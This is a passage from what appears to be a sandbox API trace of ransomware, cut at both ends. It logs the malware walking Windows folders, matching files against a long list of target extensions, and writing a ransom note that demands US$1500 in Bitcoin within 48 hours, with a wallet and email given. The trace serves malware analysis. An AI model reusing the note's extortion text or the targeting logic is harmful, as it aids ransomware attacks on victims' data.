(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.backup") returned 0 [0120.282] lstrlenA (lpString="*.backup") returned 8 [0120.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.pdf") returned 0 [0120.282] lstrlenA (lpString="*.pdf") returned 5 [0120.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.cert") returned 0 [0120.282] lstrlenA (lpString="*.cert") returned 6 [0120.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.docm") returned 0 [0120.282] lstrlenA (lpString="*.docm") returned 6 [0120.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0120.282] lstrlenA (lpString="*.xlsm") returned 6 [0120.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.dwg") returned 0 [0120.282] lstrlenA (lpString="*.dwg") returned 5 [0120.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.nd") returned 0 [0120.282] lstrlenA (lpString="*.nd") returned 4 [0120.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.tlg") returned 0 [0120.282] lstrlenA (lpString="*.tlg") returned 5 [0120.282] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.lgb") returned 0 [0120.282] lstrlenA (lpString="*.lgb") returned 5 [0120.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.mov") returned 0 [0120.283] lstrlenA (lpString="*.mov") returned 5 [0120.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.xdw") returned 0 [0120.283] lstrlenA (lpString="*.xdw") returned 5 [0120.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.ods") returned 0 [0120.283] lstrlenA (lpString="*.ods") returned 5 [0120.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.wav") returned 0 [0120.283] lstrlenA (lpString="*.wav") returned 5 [0120.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.mp3") returned 0 [0120.283] lstrlenA (lpString="*.mp3") returned 5 [0120.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.aiff") returned 0 [0120.283] lstrlenA (lpString="*.aiff") returned 6 [0120.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.flac") returned 0 [0120.283] lstrlenA (lpString="*.flac") returned 6 [0120.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.m4a") returned 0 [0120.283] lstrlenA (lpString="*.m4a") returned 5 [0120.283] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Messaging\\fff467288233cc4e7abba8e266199106\\System.Messaging.ni.dll.aux", pszSpec="*.csv") returned 0 [0120.284] lstrlenA (lpString="*.csv") returned 5 [0120.284] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1387af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1387af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x590, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Messaging.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.284] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.284] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1387af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa1387af0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa1387af0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fff467288233cc4e7abba8e266199106", cAlternateFileName="FFF467~1")) returned 0 [0120.284] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.287] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa94d05d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa94d05d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa94d05d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Net", cAlternateFileName="")) returned 1 [0120.287] lstrcmpA (lpString1=".", lpString2="System.Net") returned -1 [0120.287] lstrcmpA (lpString1="..", lpString2="System.Net") returned -1 [0120.288] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.288] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Net" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net" [0120.288] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net") returned 57 [0120.288] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa94d05d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa94d05d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa94d05d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.291] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.291] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa94d05d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa94d05d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa94d05d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.291] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.291] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.291] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa94d05d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa94d05d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa94d05d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ddb8ea2b489980d178f33196cff065ce", cAlternateFileName="DDB8EA~1")) returned 1 [0120.291] lstrcmpA (lpString1=".", lpString2="ddb8ea2b489980d178f33196cff065ce") returned -1 [0120.291] lstrcmpA (lpString1="..", lpString2="ddb8ea2b489980d178f33196cff065ce") returned -1 [0120.291] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\*.*") returned="*.*" [0120.291] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\", lpString2="ddb8ea2b489980d178f33196cff065ce" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce" [0120.291] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce") returned 90 [0120.291] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa94d05d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa94d05d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa94d05d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.295] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.295] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa94d05d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa94d05d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa94d05d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.295] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.295] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.295] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93c5c30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa93c5c30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa94d05d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x104200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Net.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.295] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.295] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Net.ni.dll") returned -1 [0120.295] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Net.ni.dll") returned -1 [0120.295] lstrcmpiA (lpString1="", lpString2="System.Net.ni.dll") returned -1 [0120.295] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\*.*") returned="*.*" [0120.295] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\" [0120.295] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\") returned="" [0120.296] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\HOW TO DECRYPT FILES.txt" [0120.296] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.net\\ddb8ea2b489980d178f33196cff065ce\\how to decrypt files.txt")) returned 0xffffffff [0120.296] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.net\\ddb8ea2b489980d178f33196cff065ce\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.302] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0120.302] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0120.304] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.304] CloseHandle (hObject=0x90) returned 1 [0120.304] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\", lpString2="System.Net.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll" [0120.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.ems") returned 0 [0120.305] lstrlenA (lpString="*.ems") returned 5 [0120.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.db") returned 0 [0120.305] lstrlenA (lpString="*.db") returned 4 [0120.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.dbf") returned 0 [0120.305] lstrlenA (lpString="*.dbf") returned 5 [0120.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.myox") returned 0 [0120.305] lstrlenA (lpString="*.myox") returned 6 [0120.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.myo") returned 0 [0120.305] lstrlenA (lpString="*.myo") returned 5 [0120.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.qbw") returned 0 [0120.305] lstrlenA (lpString="*.qbw") returned 5 [0120.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.qbb") returned 0 [0120.305] lstrlenA (lpString="*.qbb") returned 5 [0120.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.qbm") returned 0 [0120.305] lstrlenA (lpString="*.qbm") returned 5 [0120.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.qbo") returned 0 [0120.305] lstrlenA (lpString="*.qbo") returned 5 [0120.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.qbx") returned 0 [0120.306] lstrlenA (lpString="*.qbx") returned 5 [0120.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.qba") returned 0 [0120.306] lstrlenA (lpString="*.qba") returned 5 [0120.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.qby") returned 0 [0120.306] lstrlenA (lpString="*.qby") returned 5 [0120.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.qbj") returned 0 [0120.306] lstrlenA (lpString="*.qbj") returned 5 [0120.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.ofx") returned 0 [0120.306] lstrlenA (lpString="*.ofx") returned 5 [0120.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.qif") returned 0 [0120.306] lstrlenA (lpString="*.qif") returned 5 [0120.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.mye") returned 0 [0120.306] lstrlenA (lpString="*.mye") returned 5 [0120.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.mbox") returned 0 [0120.306] lstrlenA (lpString="*.mbox") returned 6 [0120.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.eml") returned 0 [0120.306] lstrlenA (lpString="*.eml") returned 5 [0120.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.pst") returned 0 [0120.306] lstrlenA (lpString="*.pst") returned 5 [0120.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.ost") returned 0 [0120.307] lstrlenA (lpString="*.ost") returned 5 [0120.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.idx") returned 0 [0120.307] lstrlenA (lpString="*.idx") returned 5 [0120.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.dbx") returned 0 [0120.307] lstrlenA (lpString="*.dbx") returned 5 [0120.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.sql") returned 0 [0120.307] lstrlenA (lpString="*.sql") returned 5 [0120.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.mdb") returned 0 [0120.307] lstrlenA (lpString="*.mdb") returned 5 [0120.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.fdb") returned 0 [0120.307] lstrlenA (lpString="*.fdb") returned 5 [0120.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.wab") returned 0 [0120.307] lstrlenA (lpString="*.wab") returned 5 [0120.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.dat") returned 0 [0120.307] lstrlenA (lpString="*.dat") returned 5 [0120.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.txt") returned 0 [0120.308] lstrlenA (lpString="*.txt") returned 5 [0120.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.jpeg") returned 0 [0120.308] lstrlenA (lpString="*.jpeg") returned 6 [0120.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.jpg") returned 0 [0120.308] lstrlenA (lpString="*.jpg") returned 5 [0120.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.png") returned 0 [0120.308] lstrlenA (lpString="*.png") returned 5 [0120.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.php") returned 0 [0120.308] lstrlenA (lpString="*.php") returned 5 [0120.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.cs") returned 0 [0120.308] lstrlenA (lpString="*.cs") returned 4 [0120.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.cpp") returned 0 [0120.308] lstrlenA (lpString="*.cpp") returned 5 [0120.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.rar") returned 0 [0120.308] lstrlenA (lpString="*.rar") returned 5 [0120.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.zip") returned 0 [0120.308] lstrlenA (lpString="*.zip") returned 5 [0120.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.html") returned 0 [0120.309] lstrlenA (lpString="*.html") returned 6 [0120.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.htm") returned 0 [0120.309] lstrlenA (lpString="*.htm") returned 5 [0120.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.xlsx") returned 0 [0120.309] lstrlenA (lpString="*.xlsx") returned 6 [0120.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.xls") returned 0 [0120.309] lstrlenA (lpString="*.xls") returned 5 [0120.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.mp4") returned 0 [0120.309] lstrlenA (lpString="*.mp4") returned 5 [0120.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.ppt") returned 0 [0120.309] lstrlenA (lpString="*.ppt") returned 5 [0120.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.pptx") returned 0 [0120.309] lstrlenA (lpString="*.pptx") returned 6 [0120.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.doc") returned 0 [0120.309] lstrlenA (lpString="*.doc") returned 5 [0120.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.dot") returned 0 [0120.309] lstrlenA (lpString="*.dot") returned 5 [0120.310] 